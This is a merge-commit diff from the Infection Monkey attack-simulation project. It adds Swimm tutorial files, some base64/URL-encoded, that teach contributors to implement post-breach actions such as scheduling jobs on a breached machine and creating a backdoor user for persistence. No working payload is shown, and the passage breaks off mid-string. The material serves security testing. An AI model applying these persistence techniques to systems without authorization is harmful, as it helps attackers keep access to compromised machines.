Merge remote-tracking branch 'upstream/develop' into 519/scoutsuite-integration
# Conflicts: # .swm/OwcKMnALpn7tuBaJY1US.swm # .swm/tbxb2cGgUiJQ8Btma0fp.swm # .travis.yml # deployment_scripts/config # monkey/common/utils/exceptions.py # monkey/infection_monkey/control.py # monkey/infection_monkey/exploit/hadoop.py # monkey/monkey_island/cc/environment/set_server_config.py # monkey/monkey_island/cc/resources/pba_file_upload.py # monkey/monkey_island/cc/services/version_update.py # monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js # monkey/monkey_island/cc/ui/src/styles/Main.scss # monkey/monkey_island/cc/ui/src/styles/components/Buttons.scss
|
@ -0,0 +1,19 @@
|
|||
---
|
||||
name: "⌛Spike"
|
||||
about: Create a spike.
|
||||
title: ''
|
||||
labels: Spike
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
# Spike
|
||||
|
||||
## Objective
|
||||
_A description of this spike's objective._
|
||||
|
||||
## Scope
|
||||
_Add an explanation of how this spike is bounded (e.g. time-boxed or a checklist of tasks or questions that must be answered)._
|
||||
|
||||
## Output
|
||||
_Add a description or list of expected outputs that result from successful completion of this spike. Some examples of outputs are more GitHb issues (e.g. bugs), a trade study, or a report detailing what was learned during the spike._
|
|
@ -7,6 +7,7 @@ Add any further explanations here.
|
|||
## PR Checklist
|
||||
* [ ] Have you added an explanation of what your changes do and why you'd like to include them?
|
||||
* [ ] Is the TravisCI build passing?
|
||||
* [ ] Was the documentation framework updated to reflect the changes?
|
||||
|
||||
## Testing Checklist
|
||||
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
{
|
||||
"id": "JFXftJml8DpmuCPBA9rL",
|
||||
"name": "Add details about your new PBA",
|
||||
"dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIweW91ciUyMG5ldyUyMFBCQSdzJTIwZGV0YWlscyUyMHRvJTIwdGhlJTIwY29uZmlndXJhdGlvbi4=",
|
||||
"description": "SW4lMjBvcmRlciUyMHRvJTIwbWFrZSUyMHN1cmUlMjB0aGF0JTIwdGhlJTIwbmV3JTIwJTYwU2NoZWR1bGVKb2JzJTYwJTIwUEJBJTIwaXMlMjBzaG93biUyMGluJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMG9uJTIwdGhlJTIwTW9ua2V5JTIwSXNsYW5kJTJDJTIweW91JTIwbmVlZCUyMHRvJTIwYWRkJTIwaXRzJTIwZGV0YWlscyUyMHRvJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMGZpbGUocykuJTIwJTNDYnIlM0UlM0NiciUzRSUwQSUwQVNpbmNlJTIwdGhpcyUyMHBhcnRpY3VsYXIlMjBQQkElMjBpcyUyMHJlbGF0ZWQlMjB0byUyMHRoZSUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMCU1QlQxMTY4JTVEKGh0dHBzJTNBJTJGJTJGYXR0YWNrLm1pdHJlLm9yZyUyRnRlY2huaXF1ZXMlMkZUMTE2OCklMjBhbmQlMjAlNUJUMTA1MyU1RChodHRwcyUzQSUyRiUyRmF0dGFjay5taXRyZS5vcmclMkZ0ZWNobmlxdWVzJTJGVDEwNTMpJTJDJTIwbWFrZSUyMHN1cmUlMjB0byUyMGxpbmslMjB0aGUlMjBQQkElMjB3aXRoJTIwdGhlc2UlMjB0ZWNobmlxdWVzJTIwaW4lMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwYXMlMjB3ZWxsLiUyMCUzQ2JyJTNFJTNDYnIlM0UlMEElMEFFYWNoJTIwcGFydCUyMG9mJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMGhhcyUyMGFuJTIwaW1wb3J0YW50JTIwcm9sZSUyMCUyMCUwQS0lMjAqZW51bSolMjAlRTIlODAlOTQlMjBjb250YWlucyUyMHRoZSUyMHJlbGV2YW50JTIwUEJBJ3MlMjBjbGFzcyUyMG5hbWUocyklMEEtJTIwKnRpdGxlKiUyMCVFMiU4MCU5NCUyMGhvbGRzJTIwdGhlJTIwbmFtZSUyMG9mJTIwdGhlJTIwUEJBJTIwd2hpY2glMjBpcyUyMGRpc3BsYXllZCUyMGluJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMG9uJTIwdGhlJTIwTW9ua2V5JTIwSXNsYW5kJTBBLSUyMCppbmZvKiUyMCVFMiU4MCU5NCUyMGNvbnNpc3RzJTIwb2YlMjBhbiUyMGVsYWJvcmF0aW9uJTIwb24lMjB0aGUlMjBQQkEncyUyMHdvcmtpbmclMjB3aGljaCUyMGlzJTIwZGlzcGxheWVkJTIwaW4lMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwKmF0dGFja190ZWNobmlxdWVzKiUyMCVFMiU4MCU5NCUyMGhhcyUyMHRoZSUyMElEcyUyMG9mJTIwdGhlJTIwTUlUUkUlMjB0ZWNobmlxdWVzJTIwYXNzb2NpYXRlZCUyMHdpdGglMjB0aGUlMjBQQkElMEElMEElMjMlMjMlMjBNYW51YWwlMjB0ZXN0JTIwJTIwJTBBT25jZSUyMHlvdSUyMHRoaW5rJTIweW91J3JlJTIwZG9uZS4uLiUwQS0lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwWW91JTIwc2hvdWxkJTIwYmUlMjBhYmxlJTIwdG8lMjBzZWUlMjB5b3VyJTIwbmV3JTIwUEJBJTIwdW5kZXIlMjB0aGUlMjAlMjJNb25rZXklMjIlMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMkMlMjBhbG9uZyUyMHdpdGglMjBpdHMlMjBpbmZvcm1hdGlvbiUyMHdoZW4lMjB5b3UlMjBjbGljayUyMG9uJTIwaXQlMEEtJTIwRnVydGhlciUyQyUyMHdoZW4lMjB5b3UlMjBlbmFibGUlMkZkaXNhYmxlJTIwdGhlJTIwYXNzb2NpYXRlZCUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMHVuZGVyJTIwdGhlJTIwQVRUJTI2Q0slMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMkMlMjB0aGUlMjBQQkElMjBzaG91bGQlMjBhbHNvJTIwYmUlMjBlbmFibGVkJTJGZGlzYWJsZWQlMEElMEElM0NpbWclMjBzcmMlM0QlMjJodHRwcyUzQSUyRiUyRmkuaW1ndXIuY29tJTJGYTVWU2tMNS5naWYlMjIlMjBoZWlnaHQlM0Q0MDAlM0U=",
|
||||
"summary": "LSUyMFRoZSUyMFBCQSUyMGRldGFpbHMlMjBpbiUyMHRoaXMlMjBmaWxlJTIwYXJlJTIwcmVmbGVjdGVkJTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMjBpbiUyMHRoZSUyMFBCQSUyMGNvbmZpZ3VyYXRpb24uJTBBLSUyMFBCQXMlMjBhcmUlMjBhbHNvJTIwbGlua2VkJTIwdG8lMjB0aGUlMjByZWxldmFudCUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMGluJTIwdGhpcyUyMGZpbGUlMkMlMjB3aG9zZSUyMHJlc3VsdHMlMjBjYW4lMjB0aGVuJTIwYmUlMjBzZWVuJTIwaW4lMjB0aGUlMjBNSVRSRSUyMEFUVCUyNkNLJTIwcmVwb3J0JTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQu",
|
||||
"diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYxZmUwZjZmLi5jY2UzN2IyNCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTYyJTJDMTUlMjAlMkI2MiUyQzclMjAlNDAlNDAlMjBQT1NUX0JSRUFDSF9BQ1RJT05TJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyUmVtb3ZlcyUyMHRoZSUyMGZpbGUlMjBhZnRlcndhcmRzLiUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmF0dGFja190ZWNobmlxdWVzJTIyJTNBJTIwJTVCJTIyVDExNjYlMjIlNUQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJTY2hlZHVsZUpvYnMlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIySm9iJTIwc2NoZWR1bGluZyUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJpbmZvJTIyJTNBJTIwJTIyQXR0ZW1wdHMlMjB0byUyMGNyZWF0ZSUyMGElMjBzY2hlZHVsZWQlMjBqb2IlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMHJlbW92ZSUyMGl0LiUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJhdHRhY2tfdGVjaG5pcXVlcyUyMiUzQSUyMCU1QiUyMlQxMTY4JTIyJTJDJTIwJTIyVDEwNTMlMjIlNUQlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEFERCUyMERFVEFJTFMlMjBIRVJFISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB",
|
||||
"tests": [],
|
||||
"hints": [
|
||||
"Have a look at the details of the other techniques."
|
||||
],
|
||||
"files": {
|
||||
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": {
|
||||
"index": [
|
||||
"f1fe0f6f..cce37b24",
|
||||
"100644"
|
||||
],
|
||||
"fileA": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
|
||||
"fileB": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
|
||||
"status": "MODIFIED",
|
||||
"numLineDeletions": 9,
|
||||
"numLineAdditions": 1,
|
||||
"hunkContainers": [
|
||||
"JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC02MiUyQzE1JTIwJTJCNjIlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJSZW1vdmVzJTIwdGhlJTIwZmlsZSUyMGFmdGVyd2FyZHMuJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjIlMkMlMjJiJTIyJTNBNjIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJhdHRhY2tfdGVjaG5pcXVlcyU1QyUyMiUzQSUyMCU1QiU1QyUyMlQxMTY2JTVDJTIyJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjMlMkMlMjJiJTIyJTNBNjMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NCUyQyUyMmIlMjIlM0E2NCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZW51bSU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMlNjaGVkdWxlSm9icyU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIySm9iJTIwc2NoZWR1bGluZyU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTcwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmluZm8lNUMlMjIlM0ElMjAlNUMlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMHNjaGVkdWxlZCUyMGpvYiUyMG9uJTIwdGhlJTIwc3lzdGVtJTIwYW5kJTIwcmVtb3ZlJTIwaXQuJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyYXR0YWNrX3RlY2huaXF1ZXMlNUMlMjIlM0ElMjAlNUIlNUMlMjJUMTE2OCU1QyUyMiUyQyUyMCU1QyUyMlQxMDUzJTVDJTIyJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQUREJTIwREVUQUlMUyUyMEhFUkUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNjUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NCUyQyUyMmIlMjIlM0E2NiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NSUyQyUyMmIlMjIlM0E2NyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NiUyQyUyMmIlMjIlM0E2OCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTYyJTJDJTIybGluZXNDb3VudCUyMiUzQTE1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTYyJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlN0QlN0QlN0Q="
|
||||
]
|
||||
}
|
||||
},
|
||||
"app_version": "0.1.90",
|
||||
"file_version": "1.0.2"
|
||||
}
|
|
@ -6,9 +6,9 @@
|
|||
"summary": "System info collectors are useful to get more data for various things, such as ZT tests or MITRE techniques. Take a look at some other techniques!",
|
||||
"tests": [],
|
||||
"hints": [
|
||||
"First thing you should do is take a look at a different collector (like EnvironemntCollector) and 100% understand how it runs, how results are relayed back to the server, and how the server processes the data.",
|
||||
"First thing you should do is take a look at a different collector (like EnvironmentCollector) and 100% understand how it runs, how results are relayed back to the server, and how the server processes the data.",
|
||||
"Try to run \"socket.getfqdn()\".",
|
||||
"Take a look at SystemInfoCollector - that's the base class you'll need to implement",
|
||||
"Take a look at SystemInfoCollector - that's the base class you'll need to implement.",
|
||||
"Make sure you add the new collector to the configuration in all relevant places, including making it ON by default!"
|
||||
],
|
||||
"swimmPatch": {
|
||||
|
@ -193,4 +193,4 @@
|
|||
},
|
||||
"app_version": "0.2.1",
|
||||
"file_version": "1.0.3"
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,48 @@
|
|||
{
|
||||
"id": "VW4rf3AxRslfT7lwaug7",
|
||||
"name": "Implement a new PBA — `ScheduleJobs`",
|
||||
"dod": "You should implement a new PBA in Monkey which schedules jobs on the machine.",
|
||||
"description": "You need to implement the `ScheduleJobs` PBA which creates scheduled jobs on the machine. <br><br>\n<img src=\"https://media.giphy.com/media/l0K4mVE5b5WZ1sctW/giphy.gif\" height=175><br><br>\nThe commands that add scheduled jobs for Windows and Linux can be retrieved from `get_commands_to_schedule_jobs` — make sure you understand how to use this function correctly.\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- Make sure the \"Job scheduling\" PBA is enabled in the \"Monkey\" tab in the configuration — for this test, disable network scanning, exploiting, and all other PBAs\n- Run the Monkey\n- Make sure you see the PBA with its results in the Security report as well as in the ATT&CK report under the relevant MITRE technique\n\n<img src=\"https://firebasestorage.googleapis.com/v0/b/swimmio-content/o/repositories%2F6Nlb99NtY5Fc3bSd8suH%2Fimg%2Ff0e53e6c-9dbe-41d8-9454-2b5761c3f53a.png?alt=media&token=21aa4bb8-7ebe-4dab-a739-c77e059144dd\" height=400>\n<br><br>\n<img src=\"https://firebasestorage.googleapis.com/v0/b/swimmio-content/o/repositories%2F6Nlb99NtY5Fc3bSd8suH%2Fimg%2F528389a0-35c8-4380-b6e2-353068ed01e4.png?alt=media&token=08767f55-86e2-4f51-8ecf-13fd6cc25ad5\" height=400>",
|
||||
"summary": "Many other PBAs are as simple as this one, using shell commands or scripts — see `Timestomping` and `AccountDiscovery`. <br><br>\n\nHowever, for less straightforward ones, you can override functions and implement new classes depending on what is required — see `SignedScriptProxyExecution` and `ModifyShellStartupFiles`.<br><br>\n\nThis PBA, along with all the other PBAs, will run on a system after it has been breached. The purpose of this code is to test whether target systems allow attackers to schedule jobs, which they could use to run malicious code at some specified date and time.",
|
||||
"diff": "diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\nindex d6cdd276..79a7724d 100644\n--- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\n+++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\n@@ -10,11 +10,5 @@\n \"\"\"\n \n def __init__(self):\n- linux_cmds, windows_cmds = get_commands_to_schedule_jobs()\n+ pass\n-\n+ # Swimmer: IMPLEMENT HERE!\n- super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING,\n- linux_cmd=' '.join(linux_cmds),\n- windows_cmd=windows_cmds)\n- \n- def run(self):\n- super(ScheduleJobs, self).run()\n",
|
||||
"tests": [],
|
||||
"hints": [
|
||||
"Check out the `Timestomping` PBA to get an idea about the implementation.",
|
||||
"Don't forget to add code to remove the scheduled jobs!"
|
||||
],
|
||||
"app_version": "0.2.8",
|
||||
"file_version": "1.0.4",
|
||||
"swimmPatch": {
|
||||
"monkey/infection_monkey/post_breach/actions/schedule_jobs.py": {
|
||||
"diffType": "MODIFIED",
|
||||
"fileDiffHeader": "diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\nindex d6cdd276..79a7724d 100644\n--- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\n+++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py",
|
||||
"hunks": [
|
||||
{
|
||||
"swimmHunkMetadata": {
|
||||
"hunkComments": []
|
||||
},
|
||||
"hunkDiffLines": [
|
||||
"@@ -10,11 +10,5 @@",
|
||||
" \"\"\"",
|
||||
" ",
|
||||
" def __init__(self):",
|
||||
"- linux_cmds, windows_cmds = get_commands_to_schedule_jobs()",
|
||||
"+ pass",
|
||||
"-",
|
||||
"+ # Swimmer: IMPLEMENT HERE!",
|
||||
"- super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING,",
|
||||
"- linux_cmd=' '.join(linux_cmds),",
|
||||
"- windows_cmd=windows_cmds)",
|
||||
"- ",
|
||||
"- def run(self):",
|
||||
"- super(ScheduleJobs, self).run()"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"hunksOrder": [
|
||||
"monkey/infection_monkey/post_breach/actions/schedule_jobs.py_0"
|
||||
],
|
||||
"last_commit_sha_for_swimm_patch": "44fd1ab69cfbab33cec638dcbbaa8831992a9a9f"
|
||||
}
|
|
@ -6,8 +6,9 @@
|
|||
"summary": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... ",
|
||||
"tests": [],
|
||||
"hints": [
|
||||
"See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands",
|
||||
"Make sure to add the PBA to the configuration as well."
|
||||
"See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.",
|
||||
"Make sure to add the PBA to the configuration as well.",
|
||||
"MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report."
|
||||
],
|
||||
"swimmPatch": {
|
||||
"monkey/common/common_consts/post_breach_consts.py": {
|
||||
|
@ -114,4 +115,4 @@
|
|||
},
|
||||
"app_version": "0.2.1",
|
||||
"file_version": "1.0.3"
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
{
|
||||
"id": "xYkxB76pK0peJj2tSxBJ",
|
||||
"name": "Define what your new PBA does",
|
||||
"dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMGNvbnN0JTIwdGhhdCUyMGRlZmluZXMlMjB3aGF0JTIwdGhlJTIwUEJBJTIwZG9lcy4=",
|
||||
"description": "VGhlJTIwbmFtZSUyMG9mJTIweW91ciUyMG5ldyUyMFBCQSUyMCh3aGljaCUyMGNyZWF0ZXMlMjBzY2hlZHVsZWQlMjBqb2JzJTIwb24lMjB0aGUlMjBtYWNoaW5lKSUyMHdpbGwlMjBiZSUyMHVzZWQlMjBpbiUyMGElMjBmZXclMjBwbGFjZXMlMkMlMjBpbmNsdWRpbmclMjB0aGUlMjByZXBvcnQuJTIwJTNDYnIlM0UlM0NiciUzRSUwQVlvdSUyMHNob3VsZCUyMGJyaWVmbHklMjBkZWZpbmUlMjB3aGF0JTIweW91ciUyMFBCQSUyMGRvZXMlMjBpbiUyMGElMjBjb25zdGFudCUyMHZhcmlhYmxlJTJDJTIwc3VjaCUyMHRoYXQlMjBpdCUyMGNhbiUyMGJlJTIwdXNlZCUyMGJ5JTIwYm90aCUyMHRoZSUyME1vbmtleSUyMGFuZCUyMHRoZSUyME1vbmtleSUyMElzbGFuZC4lMEElMEElMjMlMjMlMjBNYW51YWwlMjB0ZXN0JTIwJTIwJTBBT25jZSUyMHlvdSUyMHRoaW5rJTIweW91J3JlJTIwZG9uZS4uLiUwQS0lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwTWFrZSUyMHN1cmUlMjB0aGUlMjAlMjJKb2IlMjBzY2hlZHVsaW5nJTIyJTIwUEJBJTIwaXMlMjBlbmFibGVkJTIwaW4lMjB0aGUlMjAlMjJNb25rZXklMjIlMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMjAlRTIlODAlOTQlMjBmb3IlMjB0aGlzJTIwdGVzdCUyQyUyMGRpc2FibGUlMjBuZXR3b3JrJTIwc2Nhbm5pbmclMkMlMjBleHBsb2l0aW5nJTJDJTIwYW5kJTIwYWxsJTIwb3RoZXIlMjBQQkFzJTBBLSUyMFJ1biUyMHRoZSUyME1vbmt